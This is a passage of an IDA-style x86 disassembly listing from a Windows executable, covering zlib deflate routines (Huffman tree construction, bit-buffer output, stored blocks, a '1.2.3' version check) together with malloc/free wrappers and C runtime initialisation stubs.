loc_6049A4:				; CODE XREF: sub_604726+26Aj
		mov	ebx, [ebp+arg_0]
		mov	[eax+16BCh], ecx
		mov	edx, ds:dword_60BDA8[esi]
		test	edx, edx
		mov	[ebp+var_4], edx
		jz	short loc_604A2C
		sub	edi, ds:dword_60C6F0[esi]
		push	10h
		pop	esi
		sub	esi, edx
		cmp	ecx, esi
		jle	short loc_604A1B
		mov	edx, edi
		shl	edx, cl
		mov	ecx, [eax+8]
		mov	[ebp+var_C], ebx
		or	[eax+16B8h], dx
		mov	edx, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	[ecx+edx], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+8]
		mov	dl, [eax+16B9h]
		mov	esi, [eax+14h]
		mov	ebx, [ebp+var_C]
		mov	[esi+ecx], dl
		mov	edx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	cl, 10h
		sub	cl, dl
		shr	di, cl
		mov	ecx, [ebp+var_4]
		lea	ecx, [edx+ecx-10h]
		mov	[eax+16B8h], di
		jmp	short loc_604A26
; ---------------------------------------------------------------------------


loc_604A1B:				; CODE XREF: sub_604726+2A1j
		shl	edi, cl
		or	[eax+16B8h], di
		add	ecx, edx


loc_604A26:				; CODE XREF: sub_604726+9Cj
					; sub_604726+B0j ...
		mov	[eax+16BCh], ecx


loc_604A2C:				; CODE XREF: sub_604726+292j
		mov	ecx, [ebp+var_10]
		cmp	ecx, [eax+16A0h]
		jb	loc_604740


loc_604A3B:				; CODE XREF: sub_604726+14j
		movzx	edx, word ptr [ebx+402h]
		mov	ecx, [eax+16BCh]
		push	10h
		pop	esi
		sub	esi, edx
		cmp	ecx, esi
		mov	[ebp+arg_0], edx
		jle	short loc_604AAD
		movzx	esi, word ptr [ebx+400h]
		mov	edx, esi
		shl	edx, cl
		mov	ecx, [eax+8]
		mov	[ebp+var_10], ebx
		or	[eax+16B8h], dx
		mov	edx, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	[ecx+edx], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+8]
		mov	dl, [eax+16B9h]
		mov	edi, [eax+14h]
		mov	ebx, [ebp+var_10]
		mov	[edi+ecx], dl
		mov	edx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	cl, 10h
		sub	cl, dl
		shr	si, cl
		mov	ecx, [ebp+arg_0]
		lea	ecx, [edx+ecx-10h]
		mov	[eax+16B8h], si
		jmp	short loc_604AC0
; ---------------------------------------------------------------------------


loc_604AAD:				; CODE XREF: sub_604726+32Cj
		mov	si, [ebx+400h]
		shl	si, cl
		or	[eax+16B8h], si
		add	ecx, edx


loc_604AC0:				; CODE XREF: sub_604726+385j
		mov	[eax+16BCh], ecx
		movzx	ecx, word ptr [ebx+402h]
		pop	edi
		pop	esi
		mov	[eax+16B4h], ecx
		pop	ebx
		leave
		retn
sub_604726	endp


; =============== S U B	R O U T	I N E =======================================



sub_604AD8	proc near		; CODE XREF: sub_604F24+23p
		xor	eax, eax
		lea	ecx, [edx+94h]


loc_604AE0:				; CODE XREF: sub_604AD8+15j
		cmp	word ptr [ecx],	0
		jnz	short loc_604AEF
		inc	eax
		add	ecx, 4
		cmp	eax, 9
		jl	short loc_604AE0


loc_604AEF:				; CODE XREF: sub_604AD8+Cj
		cmp	eax, 9
		jnz	short loc_604B0C
		push	0Eh
		pop	eax
		lea	ecx, [edx+0CCh]


loc_604AFD:				; CODE XREF: sub_604AD8+32j
		cmp	word ptr [ecx],	0
		jnz	short loc_604B0C
		inc	eax
		add	ecx, 4
		cmp	eax, 20h
		jl	short loc_604AFD


loc_604B0C:				; CODE XREF: sub_604AD8+1Aj
					; sub_604AD8+29j
		xor	ecx, ecx
		cmp	eax, 20h
		mov	eax, [edx]
		setz	cl
		mov	[eax+2Ch], ecx
		retn
sub_604AD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_604B1A	proc near		; CODE XREF: sub_604B71+9p
					; sub_604F24+1E0j
		mov	ecx, [eax+16BCh]
		cmp	ecx, 8
		push	ebx
		jle	short loc_604B4A
		mov	edx, [eax+8]
		push	esi
		mov	esi, [eax+14h]
		lea	ecx, [eax+16B8h]
		mov	bl, [ecx]
		mov	[edx+esi], bl
		inc	dword ptr [eax+14h]
		mov	esi, [eax+8]
		mov	edx, [eax+14h]
		mov	cl, [ecx+1]
		mov	[edx+esi], cl
		pop	esi
		jmp	short loc_604B5D
; ---------------------------------------------------------------------------


loc_604B4A:				; CODE XREF: sub_604B1A+Aj
		test	ecx, ecx
		jle	short loc_604B60
		mov	ecx, [eax+8]
		mov	edx, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	[ecx+edx], bl


loc_604B5D:				; CODE XREF: sub_604B1A+2Ej
		inc	dword ptr [eax+14h]


loc_604B60:				; CODE XREF: sub_604B1A+32j
		and	word ptr [eax+16B8h], 0
		and	dword ptr [eax+16BCh], 0
		pop	ebx
		retn
sub_604B1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_604B71	proc near		; CODE XREF: sub_604E99+83p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	edi
		mov	ebx, ecx
		mov	edi, edx
		call	sub_604B1A
		cmp	[ebp+arg_0], 0
		mov	dword ptr [eax+16B4h], 8
		jz	short loc_604BC9
		mov	ecx, [eax+14h]
		mov	edx, [eax+8]
		mov	[ecx+edx], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+14h]
		mov	edx, [eax+8]
		mov	[ecx+edx], bh
		inc	dword ptr [eax+14h]
		mov	edx, [eax+8]
		push	esi
		mov	esi, [eax+14h]
		mov	cl, bl
		not	cl
		mov	[esi+edx], cl
		inc	dword ptr [eax+14h]
		mov	esi, [eax+14h]
		mov	edx, [eax+8]
		mov	ecx, ebx
		not	ecx
		mov	[esi+edx], ch
		inc	dword ptr [eax+14h]
		pop	esi


loc_604BC9:				; CODE XREF: sub_604B71+1Cj
		test	ebx, ebx
		jz	short loc_604BE5


loc_604BCD:				; CODE XREF: sub_604B71+72j
		mov	ecx, [eax+14h]
		mov	edx, [eax+8]
		mov	[ebp+arg_0], ebx
		mov	bl, [edi]
		mov	[ecx+edx], bl
		inc	dword ptr [eax+14h]
		mov	ebx, [ebp+arg_0]
		inc	edi
		dec	ebx
		jnz	short loc_604BCD


loc_604BE5:				; CODE XREF: sub_604B71+5Aj
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_604B71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_604BE9	proc near		; CODE XREF: sub_604C57+1DBp

var_20		= word ptr -20h
var_1E		= byte ptr -1Eh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	esi
		xor	ecx, ecx
		push	edi
		lea	esi, [ebp+var_1E]
		xor	edi, edi
		xor	eax, eax
		inc	ecx
		sub	edx, esi


loc_604BFD:				; CODE XREF: sub_604BE9+2Cj
		lea	esi, [edx+ecx*2]
		movzx	esi, [ebp+esi+var_20]
		add	si, ax
		shl	esi, 1
		mov	eax, esi
		mov	[ebp+ecx*2+var_20], ax
		inc	ecx
		cmp	ecx, 0Fh
		jle	short loc_604BFD
		cmp	[ebp+arg_0], edi
		jl	short loc_604C53


loc_604C1C:				; CODE XREF: sub_604BE9+68j
		movzx	edx, word ptr [ebx+edi*4+2]
		test	edx, edx
		jz	short loc_604C4D
		lea	eax, [ebp+edx*2+var_20]
		xor	ecx, ecx
		mov	cx, [eax]
		movzx	esi, cx
		inc	ecx
		mov	[eax], cx
		xor	eax, eax


loc_604C37:				; CODE XREF: sub_604BE9+5Cj
		mov	ecx, esi
		and	ecx, 1
		or	eax, ecx
		shr	esi, 1
		shl	eax, 1
		dec	edx
		test	edx, edx
		jg	short loc_604C37
		shr	eax, 1
		mov	[ebx+edi*4], ax


loc_604C4D:				; CODE XREF: sub_604BE9+3Aj
		inc	edi
		cmp	edi, [ebp+arg_0]
		jle	short loc_604C1C


loc_604C53:				; CODE XREF: sub_604BE9+31j
		pop	edi
		pop	esi
		leave
		retn
sub_604BE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_604C57	proc near		; CODE XREF: sub_604E3C+2Ep
					; sub_604F24+2Fp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	ecx, [eax+0Ch]
		or	[ebp+var_8], 0FFFFFFFFh
		push	ebx
		mov	ebx, [eax]
		xor	eax, eax
		test	ecx, ecx
		push	edi
		mov	edi, [edx]
		mov	[ebp+var_4], ecx
		mov	[esi+1450h], eax
		mov	dword ptr [esi+1454h], 23Dh
		jle	loc_604D0D


loc_604C8D:				; CODE XREF: sub_604C57+67j
		cmp	word ptr [edi+eax*4], 0
		jz	short loc_604CB4
		inc	dword ptr [esi+1450h]
		mov	ecx, [esi+1450h]
		mov	[esi+ecx*4+0B5Ch], eax
		mov	[ebp+var_8], eax
		mov	byte ptr [eax+esi+1458h], 0
		jmp	short loc_604CBA
; ---------------------------------------------------------------------------


loc_604CB4:				; CODE XREF: sub_604C57+3Bj
		and	word ptr [edi+eax*4+2],	0


loc_604CBA:				; CODE XREF: sub_604C57+5Bj
		inc	eax
		cmp	eax, [ebp+var_4]
		jl	short loc_604C8D
		jmp	short loc_604D0D
; ---------------------------------------------------------------------------


loc_604CC2:				; CODE XREF: sub_604C57+BDj
		cmp	[ebp+var_8], 2
		jge	short loc_604CD0
		inc	[ebp+var_8]
		mov	eax, [ebp+var_8]
		jmp	short loc_604CD2
; ---------------------------------------------------------------------------


loc_604CD0:				; CODE XREF: sub_604C57+6Fj
		xor	eax, eax


loc_604CD2:				; CODE XREF: sub_604C57+77j
		inc	dword ptr [esi+1450h]
		mov	ecx, [esi+1450h]
		mov	[esi+ecx*4+0B5Ch], eax
		mov	ecx, eax
		shl	ecx, 2
		mov	word ptr [ecx+edi], 1
		mov	byte ptr [esi+eax+1458h], 0
		dec	dword ptr [esi+16A8h]
		test	ebx, ebx
		jz	short loc_604D0D
		movzx	eax, word ptr [ecx+ebx+2]
		sub	[esi+16ACh], eax


loc_604D0D:				; CODE XREF: sub_604C57+30j
					; sub_604C57+69j ...
		cmp	dword ptr [esi+1450h], 2
		jl	short loc_604CC2
		mov	eax, [ebp+var_8]
		mov	[edx+4], eax
		mov	eax, [esi+1450h]
		cdq
		sub	eax, edx
		mov	ebx, eax
		sar	ebx, 1
		jmp	short loc_604D35
; ---------------------------------------------------------------------------


loc_604D2B:				; CODE XREF: sub_604C57+E1j
		push	ebx
		mov	eax, esi
		call	sub_603D2C
		pop	ecx
		dec	ebx


loc_604D35:				; CODE XREF: sub_604C57+D2j
		cmp	ebx, 1
		jge	short loc_604D2B
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C], eax


loc_604D40:				; CODE XREF: sub_604C57+1A7j
		mov	eax, [esi+1450h]
		mov	ecx, [esi+eax*4+0B5Ch]
		mov	ebx, [esi+0B60h]
		dec	eax
		mov	[esi+1450h], eax
		push	1
		mov	eax, esi
		mov	[esi+0B60h], ecx
		call	sub_603D2C
		dec	dword ptr [esi+1454h]
		mov	eax, [esi+0B60h]
		pop	ecx
		mov	ecx, [esi+1454h]
		mov	[esi+ecx*4+0B5Ch], ebx
		dec	dword ptr [esi+1454h]
		mov	ecx, [esi+1454h]
		mov	[esi+ecx*4+0B5Ch], eax
		lea	ecx, [edi+eax*4]
		mov	[ebp+var_10], ecx
		mov	cx, [ecx]
		lea	edx, [edi+ebx*4]
		add	cx, [edx]
		mov	[ebp+var_14], edx
		mov	dx, cx
		mov	ecx, [ebp+var_C]
		mov	[edi+ecx*4], dx
		mov	bl, [esi+ebx+1458h]
		mov	al, [esi+eax+1458h]
		cmp	bl, al
		jb	short loc_604DC9
		movzx	eax, bl
		jmp	short loc_604DCC
; ---------------------------------------------------------------------------


loc_604DC9:				; CODE XREF: sub_604C57+16Bj
		movzx	eax, al


loc_604DCC:				; CODE XREF: sub_604C57+170j
		inc	al
		mov	[esi+ecx+1458h], al
		mov	eax, [ebp+var_10]
		mov	[eax+2], cx
		mov	eax, [ebp+var_14]
		mov	[eax+2], cx
		mov	[esi+0B60h], ecx
		inc	ecx
		push	1
		mov	eax, esi
		mov	[ebp+var_C], ecx
		call	sub_603D2C
		cmp	dword ptr [esi+1450h], 2
		pop	ecx
		jge	loc_604D40
		dec	dword ptr [esi+1454h]
		mov	eax, [esi+1454h]
		mov	ecx, [esi+0B60h]
		mov	[esi+eax*4+0B5Ch], ecx
		mov	eax, [ebp+arg_0]
		mov	edx, esi
		call	sub_603DDC
		push	[ebp+var_8]
		lea	edx, [esi+0B3Ch]
		mov	ebx, edi
		call	sub_604BE9
		pop	ecx
		pop	edi
		pop	ebx
		leave
		retn
sub_604C57	endp


; =============== S U B	R O U T	I N E =======================================



sub_604E3C	proc near		; CODE XREF: sub_604F24+44p
		push	esi
		mov	esi, eax
		mov	ecx, [esi+0B1Ch]
		lea	eax, [esi+94h]
		push	esi
		call	sub_603F94
		mov	ecx, [esi+0B28h]
		lea	eax, [esi+988h]
		push	esi
		call	sub_603F94
		lea	eax, [esi+0B30h]
		push	eax
		call	sub_604C57
		add	esp, 0Ch
		push	12h
		pop	eax


loc_604E75:				; CODE XREF: sub_604E3C+4Fj
		movzx	ecx, ds:byte_60BE6C[eax]
		cmp	word ptr [esi+ecx*4+0A7Eh], 0
		jnz	short loc_604E8D
		dec	eax
		cmp	eax, 3
		jge	short loc_604E75


loc_604E8D:				; CODE XREF: sub_604E3C+49j
		lea	ecx, [eax+eax*2+11h]
		add	[esi+16A8h], ecx
		pop	esi
		retn
sub_604E3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_604E99	proc near		; CODE XREF: sub_604F24+82p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+16BCh]
		cmp	ecx, 0Dh
		jle	short loc_604EFF
		push	ebx
		push	esi
		mov	esi, [ebp+arg_C]
		mov	edx, esi
		shl	edx, cl
		mov	ecx, [eax+8]
		or	[eax+16B8h], dx
		mov	edx, [eax+14h]
		mov	bl, [eax+16B8h]
		mov	[ecx+edx], bl
		inc	dword ptr [eax+14h]
		mov	ecx, [eax+14h]
		mov	bl, [eax+16B9h]
		mov	edx, [eax+8]
		mov	[ecx+edx], bl
		mov	edx, [eax+16BCh]
		inc	dword ptr [eax+14h]
		mov	cl, 10h
		sub	cl, dl
		shr	si, cl
		add	edx, 0FFFFFFF3h
		mov	[eax+16BCh], edx
		mov	[eax+16B8h], si
		pop	esi
		pop	ebx
		jmp	short loc_604F14
; ---------------------------------------------------------------------------


loc_604EFF:				; CODE XREF: sub_604E99+Fj
		mov	edx, [ebp+arg_C]
		shl	edx, cl
		or	[eax+16B8h], dx
		add	ecx, 3
		mov	[eax+16BCh], ecx


loc_604F14:				; CODE XREF: sub_604E99+64j
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_4]
		push	1
		call	sub_604B71
		pop	ecx
		pop	ebp
		retn
sub_604E99	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_604F24	proc near		; CODE XREF: sub_60197B+64p
					; sub_60197B+A5p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		xor	eax, eax
		cmp	[esi+84h], eax
		push	edi
		mov	edi, [ebp+arg_8]
		jle	short loc_604F8B
		cmp	edi, eax
		jbe	short loc_604F4C
		mov	eax, [esi]
		cmp	dword ptr [eax+2Ch], 2
		jnz	short loc_604F4C
		mov	edx, esi
		call	sub_604AD8


loc_604F4C:				; CODE XREF: sub_604F24+17j
					; sub_604F24+1Fj
		lea	eax, [esi+0B18h]
		push	eax
		call	sub_604C57
		lea	eax, [esi+0B24h]
		push	eax
		call	sub_604C57
		pop	ecx
		pop	ecx
		mov	eax, esi
		call	sub_604E3C
		mov	edx, [esi+16A8h]
		mov	ecx, [esi+16ACh]
		add	edx, 0Ah
		add	ecx, 0Ah
		shr	edx, 3
		shr	ecx, 3
		cmp	ecx, edx
		ja	short loc_604F90
		jmp	short loc_604F8E
; ---------------------------------------------------------------------------


loc_604F8B:				; CODE XREF: sub_604F24+13j
		lea	ecx, [edi+5]


loc_604F8E:				; CODE XREF: sub_604F24+65j
		mov	edx, ecx


loc_604F90:				; CODE XREF: sub_604F24+63j
		push	ebx
		lea	ebx, [edi+4]
		cmp	ebx, edx
		ja	short loc_604FB3
		cmp	[ebp+arg_4], 0
		jz	short loc_604FB3
		push	[ebp+arg_C]
		push	edi
		push	[ebp+arg_4]
		push	esi
		call	sub_604E99
		add	esp, 10h
		jmp	loc_6050F3
; ---------------------------------------------------------------------------


loc_604FB3:				; CODE XREF: sub_604F24+72j
					; sub_604F24+78j
		cmp	dword ptr [esi+88h], 4
		jz	loc_60506F
		cmp	ecx, edx
		jz	loc_60506F
		mov	edx, [ebp+arg_C]
		mov	ecx, [esi+16BCh]
		add	edx, 4
		cmp	ecx, 0Dh
		jle	short loc_605027
		mov	edi, edx
		shl	edi, cl
		mov	ecx, [esi+8]
		or	[esi+16B8h], di
		mov	edi, [esi+14h]
		mov	bl, [esi+16B8h]
		mov	[ecx+edi], bl
		inc	dword ptr [esi+14h]
		mov	ecx, [esi+14h]
		mov	bl, [esi+16B9h]
		mov	edi, [esi+8]
		mov	[ecx+edi], bl
		mov	ebx, [esi+16BCh]
		inc	dword ptr [esi+14h]
		mov	cl, 10h
		sub	cl, bl
		shr	dx, cl
		add	ebx, 0FFFFFFF3h
		mov	[esi+16BCh], ebx
		mov	[esi+16B8h], dx
		jmp	short loc_605039
; ---------------------------------------------------------------------------


loc_605027:				; CODE XREF: sub_604F24+B3j
		shl	edx, cl
		or	[esi+16B8h], dx
		add	ecx, 3
		mov	[esi+16BCh], ecx


loc_605039:				; CODE XREF: sub_604F24+101j
		inc	eax
		push	eax
		mov	eax, [esi+0B28h]
		inc	eax
		push	eax
		mov	eax, [esi+0B1Ch]
		inc	eax
		push	eax
		mov	eax, esi
		call	sub_6044ED
		lea	eax, [esi+988h]
		push	eax
		lea	eax, [esi+94h]
		push	eax
		mov	eax, esi
		call	sub_604726
		add	esp, 14h
		jmp	loc_6050F3
; ---------------------------------------------------------------------------


loc_60506F:				; CODE XREF: sub_604F24+96j
					; sub_604F24+9Ej
		mov	eax, [ebp+arg_C]
		mov	ecx, [esi+16BCh]
		add	eax, 2
		cmp	ecx, 0Dh
		jle	short loc_6050CE
		mov	edx, eax
		shl	edx, cl
		mov	ecx, [esi+8]
		or	[esi+16B8h], dx
		mov	edx, [esi+14h]
		mov	bl, [esi+16B8h]
		mov	[ecx+edx], bl
		inc	dword ptr [esi+14h]
		mov	ecx, [esi+14h]
		mov	edx, [esi+8]
		mov	bl, [esi+16B9h]
		mov	[ecx+edx], bl
		mov	edx, [esi+16BCh]
		inc	dword ptr [esi+14h]
		mov	cl, 10h
		sub	cl, dl
		shr	ax, cl
		add	edx, 0FFFFFFF3h
		mov	[esi+16BCh], edx
		mov	[esi+16B8h], ax
		jmp	short loc_6050E0
; ---------------------------------------------------------------------------


loc_6050CE:				; CODE XREF: sub_604F24+15Aj
		shl	eax, cl
		or	[esi+16B8h], ax
		add	ecx, 3
		mov	[esi+16BCh], ecx


loc_6050E0:				; CODE XREF: sub_604F24+1A8j
		push	offset dword_60C300
		push	offset dword_60BE80
		mov	eax, esi
		call	sub_604726
		pop	ecx
		pop	ecx


loc_6050F3:				; CODE XREF: sub_604F24+8Aj
					; sub_604F24+146j
		mov	eax, esi
		call	sub_603CCE
		cmp	[ebp+arg_C], 0
		pop	ebx
		pop	edi
		jz	short loc_605109
		pop	esi
		pop	ebp
		jmp	sub_604B1A
; ---------------------------------------------------------------------------


loc_605109:				; CODE XREF: sub_604F24+1DCj
		pop	esi
		pop	ebp
		retn
sub_604F24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_60510C	proc near		; CODE XREF: WinMain(x,x,x,x)+B5p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		mov	eax, [ebp+arg_8]
		and	[ebp+var_18], 0
		and	[ebp+var_14], 0
		mov	[ebp+var_38], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_34], eax
		mov	eax, [ebp+arg_0]
		push	esi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2C], eax
		mov	eax, [esi]
		push	38h
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_38]
		push	offset a1_2_3	; "1.2.3"
		push	eax
		call	sub_60260B
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_605194
		push	edi
		lea	eax, [ebp+var_38]
		push	4
		push	eax
		call	sub_6026FA
		mov	edi, eax
		cmp	edi, 1
		pop	ecx
		pop	ecx
		jz	short loc_605184
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_6038DE
		cmp	edi, 2
		pop	ecx
		jz	short loc_60517F
		cmp	edi, 0FFFFFFFBh
		jnz	short loc_60517B
		cmp	[ebp+var_34], 0
		jz	short loc_60517F


loc_60517B:				; CODE XREF: sub_60510C+67j
		mov	eax, edi
		jmp	short loc_605193
; ---------------------------------------------------------------------------


loc_60517F:				; CODE XREF: sub_60510C+62j
					; sub_60510C+6Dj
		push	0FFFFFFFDh
		pop	eax
		jmp	short loc_605193
; ---------------------------------------------------------------------------


loc_605184:				; CODE XREF: sub_60510C+53j
		mov	eax, [ebp+var_24]
		mov	[esi], eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_6038DE
		pop	ecx


loc_605193:				; CODE XREF: sub_60510C+71j
					; sub_60510C+76j
		pop	edi


loc_605194:				; CODE XREF: sub_60510C+3Ej
		pop	esi
		leave
		retn
sub_60510C	endp


; =============== S U B	R O U T	I N E =======================================



sub_605197	proc near		; DATA XREF: sub_602557+34o

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		imul	eax, [esp+arg_8]
		push	eax		; Size
		call	_malloc
		pop	ecx
		retn
sub_605197	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_6051A8(int,void *Memory)

sub_6051A8	proc near		; DATA XREF: sub_602557+43o

Memory		= dword	ptr  8

		push	[esp+Memory]	; Memory
		call	_free
		pop	ecx
		retn
sub_6051A8	endp

; [00000058 BYTES: COLLAPSED FUNCTION _atol. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000060 BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+"	TO EXPAND]
; [0000008B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000033D BYTES: COLLAPSED FUNCTION _memcpy. PRESS KEYPAD "+"	TO EXPAND]
; [00000046 BYTES: COLLAPSED FUNCTION __heap_alloc. PRESS KEYPAD "+" TO	EXPAND]
; [0000002C BYTES: COLLAPSED FUNCTION __nh_malloc. PRESS KEYPAD	"+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+"	TO EXPAND]
; [00000038 BYTES: COLLAPSED FUNCTION _free. PRESS KEYPAD "+" TO EXPAND]
; [00000022 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD	"+" TO EXPAND]
		pop	ecx
		pop	ecx
		retn
; [000001DC BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]
; [00000090 BYTES: COLLAPSED FUNCTION __ismbcspace. PRESS KEYPAD "+" TO	EXPAND]
		align 10h

__allmul:
		mov	eax, [esp+8]
		mov	ecx, [esp+10h]
		or	ecx, eax
		mov	ecx, [esp+0Ch]
		jnz	short loc_6059A9
		mov	eax, [esp+4]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_6059A9:				; CODE XREF: .text:0060599Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+8]
		mul	dword ptr [esp+14h]
		add	ebx, eax
		mov	eax, [esp+8]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
; [0000001A BYTES: COLLAPSED FUNCTION ___heap_select. PRESS KEYPAD "+" TO EXPAND]
; [00000051 BYTES: COLLAPSED FUNCTION __heap_init. PRESS KEYPAD	"+" TO EXPAND]
; [00000048 BYTES: COLLAPSED FUNCTION ___sbh_heap_init.	PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND]
; [00000318 BYTES: COLLAPSED FUNCTION ___sbh_free_block. PRESS KEYPAD "+" TO EXPAND]
; [000000B7 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+"	TO EXPAND]
; [00000106 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND]
; [000002DF BYTES: COLLAPSED FUNCTION ___sbh_resize_block. PRESS KEYPAD	"+" TO EXPAND]
; [000002FC BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS	KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION __callnewh. PRESS	KEYPAD "+" TO EXPAND]
; [00000030 BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND]
; [0000006A BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+"	TO EXPAND]
; [000000C1 BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+"	TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION _exit. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND]
; [0000000F BYTES: COLLAPSED FUNCTION __cexit. PRESS KEYPAD "+"	TO EXPAND]
; [0000000F BYTES: COLLAPSED FUNCTION __c_exit.	PRESS KEYPAD "+" TO EXPAND]
; [00000177 BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO	EXPAND]
; [00000039 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND]
; [00000171 BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO	EXPAND]
; [0000005D BYTES: COLLAPSED FUNCTION __wincmdln. PRESS	KEYPAD "+" TO EXPAND]
; [000000C7 BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND]
; [0000016C BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND]
; [000000A2 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND]
; [00000122 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO	EXPAND]
; [000001AB BYTES: COLLAPSED FUNCTION __ioinit.	PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_607028	proc near		; CODE XREF: start:loc_605811p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset stru_60CC48
		call	__SEH_prolog
		mov	[ebp+var_1C], offset dword_60D43C


loc_60703B:				; CODE XREF: sub_607028+3Cj
		cmp	[ebp+var_1C], offset dword_60D43C
		jnb	short loc_607066
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_60705C
		call	eax
		jmp	short loc_60705C
; ---------------------------------------------------------------------------


loc_607055:				; DATA XREF: .rdata:stru_60CC48o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_607059:				; DATA XREF: .rdata:stru_60CC48o
		mov	esp, [ebp+ms_exc.old_esp]


loc_60705C:				; CODE XREF: sub_607028+27j
					; sub_607028+2Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		add	[ebp+var_1C], 4
		jmp	short loc_60703B
; ---------------------------------------------------------------------------


loc_607066:				; CODE XREF: sub_607028+1Aj
		call	__SEH_epilog
		retn
sub_607028	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void sub_60706C(void)

sub_60706C	proc near		; DATA XREF: __cinit:loc_6065D8o

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset stru_60CC58
		call	__SEH_prolog
		mov	[ebp+var_1C], offset dword_60D444


loc_60707F:				; CODE XREF: sub_60706C+3Cj
		cmp	[ebp+var_1C], offset dword_60D444
		jnb	short loc_6070AA
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_6070A0
		call	eax
		jmp	short loc_6070A0
; ---------------------------------------------------------------------------


loc_607099:				; DATA XREF: .rdata:stru_60CC58o
		xor	eax, eax
